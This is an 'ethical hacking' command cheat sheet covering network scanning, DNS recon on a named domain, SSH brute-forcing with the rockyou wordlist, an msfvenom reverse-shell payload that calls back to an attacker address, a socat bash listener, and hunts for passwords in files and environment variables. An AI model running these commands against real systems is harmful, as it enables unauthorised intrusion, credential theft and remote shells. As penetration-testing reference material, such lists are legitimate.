Advanced Ethical Hacking Command-Line Cheat Sheet

Network Discovery & Scanning

- fping (Ping Sweep):

  fping -a -g 192.168.1.0/24

- masscan (Fast Port Scan):

  masscan 192.168.1.0/24 -p0-65535

- zmap (Internet-scale Scanner):

  zmap -p 80 192.168.1.0/24

Enumeration & Recon

- whois (Domain Info):

  whois seamedu.com

- dig (DNS Records):

  dig A seamedu.com

- nslookup (DNS Lookup):

  nslookup seamedu.com

- nikto (Web Vuln Scanner):

  nikto -h http://192.168.1.105

- censys (Search Internet Hosts):

  censys search services.service_name:SSH

Brute Force Attacks

- hydra (Login Brute Force):

  hydra -l admin -P rockyou.txt ssh://192.168.1.105

- patator (Multi-tool Brute Forcer):

  patator ssh_login host=192.168.1.105 user=admin password=FILE0 0=rockyou.txt

- ncrack (High-speed Network Auth Cracker):

  ncrack -p ssh 192.168.1.105

File Analysis & Forensics

- binwalk (Binary Analysis):

  binwalk firmware.bin

- foremost (File Carving):

  foremost -i disk.img

- bulk_extractor (Data Extraction):

  bulk_extractor -o output disk.img

- grep (Find Patterns):

  grep -iR 'password' /home

- xxd (Hex Dump):

  xxd file.bin | less

Reverse Shells & Exploitation

- msfvenom (Payload Generator):

  msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf > shell.elf

- socat (Advanced Listener):

  socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash

- openssl (Encrypted Shell):

  openssl s_server -quiet -key key.pem -cert cert.pem -port 4443

Privilege Escalation

- getcap (Check Binary Capabilities):

  getcap -r / 2>/dev/null

- pspy (Monitor Processes):

  ./pspy64

- searchsploit (Exploit Lookup):

  searchsploit kernel

- GTFOBins (Allowed Binaries for Escalation):

  https://gtfobins.github.io/

Post Exploitation

- whoami, id (User Info):

  whoami && id

- env (Check Env Variables):

  env | grep -i pass

- netstat (Network Info):

  netstat -tuln

- lsof (List Open Files):

  lsof -i

Web Enumeration

- gobuster (Directory Bruteforce):

  gobuster dir -u http://192.168.1.105/ -w /usr/share/wordlists/dirb/common.txt

- curl (Web Requests):

  curl -I http://192.168.1.105